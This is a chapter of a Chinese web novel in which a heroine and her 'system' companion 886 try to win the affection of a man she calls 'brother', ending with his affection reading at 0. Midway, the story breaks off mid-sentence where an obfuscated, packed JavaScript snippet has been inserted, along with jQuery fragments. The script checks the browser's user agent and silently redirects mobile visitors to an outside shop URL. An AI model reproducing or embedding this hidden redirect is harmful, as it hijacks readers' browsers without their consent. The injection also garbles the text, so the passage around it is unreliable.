“哎呀,网上都说腹肌放松时是软趴趴的,怎么哥哥的腹肌一直都硬邦邦的啊,给我脸都硌出印子了。”
周钰婷慌不择路,手脚并用的往外跑。
周岁安抓住她的手腕用力一拉,周钰婷顿时失去平衡,径直跌进他怀里。
周岁安蹭了蹭周钰婷的鼻尖,轻笑一声,“胃不疼了?”
周钰婷立马皱着眉头捂着胃,886还顺便洒了点儿汗水。
她不停地深呼吸,有气无力的证明自己的清白,“那个,只是不让我醉,又不是,能让我不难受…”
不知是886用了道具,还是真的感情到了,这次的眼泪豆大一颗,顺着周钰婷粉嫩的脸颊滑落,落在周岁安的锁骨上。
可怜兮兮的模样我见犹怜,周岁安明知她是在装哭也还是于心不忍。
起身把她抱到楼下,放在了沙发上。
“哥哥不要走嘛~”周钰婷赤脚勾住周岁安的脚踝,拦住了他去往厨房的脚步。
周岁安蹲下身,轻捏了下周钰婷的小腿肉,“我去给你煮点粥,暖暖胃。”
周钰婷收回脚,别过头不说话。
“怎么了?”周岁安轻笑一声,坐到周钰婷旁边,把她气鼓鼓的脸朝胸口贴紧了些。
只隔着薄薄的一层衬衣,周钰婷感受到他紧实有力的胸肌正伴着强有力的心跳微微颤动。
周钰婷上手捏了两下,笑出了声。
她带着不可言说的笑容抬眸,一双琥珀瞳在灯光的照射下闪烁着光,宛如天上点点星光、连成星海。
她用食指在周岁安的鼻尖轻轻点戳,看着他弯成月牙的眉眼轻声说道:“这儿离哥哥太远了,婷婷不开心。”
周岁安低头浅笑,靠近周钰婷白嫩的小脸,在她额上轻留一吻,“知道了。”
暖春的风,总是让人心旷神怡。
周岁安将周钰婷抱到餐桌的高脚凳上,将她和椅子一起抱到了厨房门口。
周钰婷坐在凳子上,只有脚尖勉强可以碰到地板,她轻轻晃着小腿,手里拿着周岁安刚塞给她的去籽猕猴桃,“我不进去么?”
粉金色的围裙被甩开,周岁安系上两个蝴蝶结,打开了火,“里面油烟味儿太大,不舒服。”
“好~吧~”周钰婷被猕猴桃刺客酸的浑身一颤,温柔的回应带上了几条波浪线。
周钰婷坐在门外幽怨的看着周岁安的背影,越想越生气。
本想和886一吐为快,但,这位男士可以听到,故,只能在心中腹诽。
说什么油烟味儿大,煮个白粥能有什么油烟味儿,我看就是不想让我离他太近,免得控制不住他的小心脏库库涨好感度!
装着猕猴桃的碗如果再脆再薄一点,现下已经被周钰婷捏爆了。
她倚在座椅上,看着被围裙束缚住的背部,心中起了歹念。
到底是年轻气盛,刚进厨房周岁安就热的浑身潮湿,三两下就把围裙遮盖下的衬衣脱下,扔进了脏衣篓。
虽有高端厨具,但洗米淘米、烧水煮饭这些事周大少还是喜欢亲力亲为,他始终认为手搓的才是真美味。
他结实有力的臂膀和背部在厨房的顶光照射下显出诱人的线条。
这真的不是故意的么?!
周钰婷很难忍住。
她故作轻松,在看到周岁安盖上锅盖时,用女王巡查领地时志在必得的眼神和语气,向周岁安散发着自己的魅力。
“还有多久呀,我好饿呀~”周钰婷面带笑意,粉金色卷起的发尾被她拿至胸前,指尖不停的缠绕。
周岁安看了一眼手表,慢慢向周钰婷靠近,“快了,三十分钟左右。”
周钰婷抬脚阻止了周岁安前行的步伐,顺着胸肌一路前行。
周岁安习以为常,单手握住她的脚踝用力按压着继续前行,目光却始终落在周钰婷跳个不停地心脏附近,
脚步向前逼近,
抓住了她另一只脚踝。
周钰婷大脑一时宕机,脸色骤变,“半夜…十二点多了…扰…民…”
周岁安堵住了她解释个不停的粉唇,说一个字亲一下,说一个字亲一下。
最后周钰婷感觉自己的脑袋顶上有烟雾飞出,急忙捂着嘴、低头避开周岁安的目光。
周岁安凑到周钰婷耳旁,低沉又磁性的嗓音打着圈的钻进周钰婷的耳朵里,顺着她惊慌失措下不停吞咽的动作溜进她的心房,又痒又紧。
“还没过年呢,妹妹不用急着cos大红灯笼。”
周钰婷抬眸娇嗔的瞪着周岁安,捂着嘴巴发出粘糊的声音,将周岁安整个包裹,陷进她的世界。
煮着白粥的锅有些躁动,好似要开了。
火焰在锅下熊熊燃烧,锅盖不停地在锅身上打转,发出清脆的碰撞声。
白粥溢出来一次又一次,可火势未停,锅盖未离,一整锅的白粥被硬生生煮干了。
周岁安急忙关上火,将锅里仅存的粮食翘出放入碗中,而后将存有余温的锅放入水中,里里外外的擦洗干净。
周钰婷坐在餐桌上,看着宛如焦炭的米锅巴,用美甲尖尖把碗推到了周岁安面前。
此物乍看样貌骇人,细看更是像煤渣混入水泥般,又碎又硬。
“此物非寻常之物,在下乃凡夫俗子,恐无福消受,只得先行一步。”
话虽如此,但周钰婷一步未离。
她是真想知道这不明物体到底什么味道,但这个小白鼠不能是她。
周岁安掰出一小块碎片,双目紧闭,面色灰白,而后迅速塞入口中。
只是刹那,周岁安的面色变成了灰绿色,他哽着脖子强装镇定,活像一个在克制食欲的丧尸。
他冲周钰婷摆摆手,又眨了一堆的眼色——
不能吃!!!
接着冲向洗手间,跑出了残影。
呕吐声混着冲水声此起彼伏,久未停歇。
足足半个小时过去,周岁安才憔悴的走了出来,从冰箱里起开一罐汽水,一饮而尽。
疾驰的摩托从他嗓间开出,周钰婷身后的墙壁不遑多让,为这一声又长又响的嗝送出回音。
周岁安的面色不再灰绿,反而添上了浓重的绯红,里面饱含着他的羞耻心。
周钰婷将手边的水杯递过去,“好点儿了没?”
周岁安给杯子添上水,因着肚子里全是被他遏制住的气泡,只喝了一口就有些胀了。
他点点头,拿出手机想要打电话。
“公司有事?”周钰婷一把夺过手机,看着上面备注的‘王厨’陷入了沉思。
周岁安擦擦嘴,眼神真挚,“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316683|198950||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
让王厨做点儿粥送来。”
“啪——”
周钰婷将手机重重摔在桌上,一改刚才娇滴滴的模样,她指着一脸茫然的周岁安,大声呵斥,“几点了,几点了!”
“快凌晨三点了,所以我……”
周钰婷无情将其打断,“王厨不用休息,不用睡觉的么!”
万恶的老板!
周岁安走过去,将站的乱七八糟的周钰婷抱回凳子上,“这样站,凳子一滑你就摔了,坐着说好不好?”
坐在凳子上的周钰婷气鼓鼓的看向周岁安,一言不发。
周岁安拿过手机,倚靠在周钰婷面前的桌角,揉了揉她的发顶,“今天是王厨的夜班。”
“我不管!”周钰婷双手环胸,态度坚决。
周岁安轻笑一声,捏上她气鼓鼓的脸颊,轻摇了两下,“好,我去买,好不好?”
周钰婷点点头。
看着周岁安拿起车钥匙穿上外套,确定他走远后,周钰婷把886喊了出来。
她兴奋又带着些指责的看着886,“你这系统是不是坏了,怎么好感度上升都不播报了?”
886打了个哈欠,指着面板上的静音键跪地求饶,“宿主您忘了,您嫌吵让我关上了。”
好像是有这么一回事。
周钰婷不再追究,兴冲冲的问道:“好感度呢,是不是快到了?!”
886在周钰婷期待的目光下打开了周岁安的好感度面板——
0。
周钰婷拍了一下886的脑袋,“还说你没坏,好感度都加载不出来了。”
886语气沉稳,打了个哈欠,“加载出来了,就是0。”
周钰婷一动不动,不可置信的又戳了好几下面板,还是没能在前面戳出一个1和0。
“宿主,要不你和周岁安谈谈?”
这个世界已经待了6年,再待下去886都快崩溃了。
周钰婷像没有灵魂的提线木偶,阴霾爬上她的双瞳,空洞的盯着面板上的‘0’,“好。”
开门声响起,886藏了起来。
周岁安提着一大碗白粥走到餐桌前,试了试温度,端着勺子送到周钰婷的嘴边,“尝尝这家味道如何,合不合你口味?”
豆大的泪珠从周钰婷脸颊滚落,她一言不发的坐着,任由泪水滴落勺中。
“怎么了?”周岁安修长的手指覆上她的眼角,拭去她酸涩又绝望的眼泪。
周钰婷抬眸看着周岁安,泪水止不住地下落,她推开面前周岁安的手,啜泣地问道:“为什么是0,为什么还是0?”
为什么不爱我?!
周岁安起身把周钰婷抱到沙发上,默默加深着手臂的力度,生怕松开一点她就会突然消失,徒留他一人坐在这空荡的房间里。
周岁安轻轻拍着周钰婷的肩膀,为她拨开眼前的碎发,看着她渐渐平静下依旧潮红的小脸,揉了揉脸颊肉,“好些没?”
周钰婷点点头。
几乎是同时,周岁安冷淡的声音从她上方传来,短短的几个字仿若将她打入黑暗牢笼,厚重的锁链将她层层困住——
“才一天,就装不下去了?”
我爱你,但你不爱我。
比起不可置信,周钰婷现下更多的,是心虚。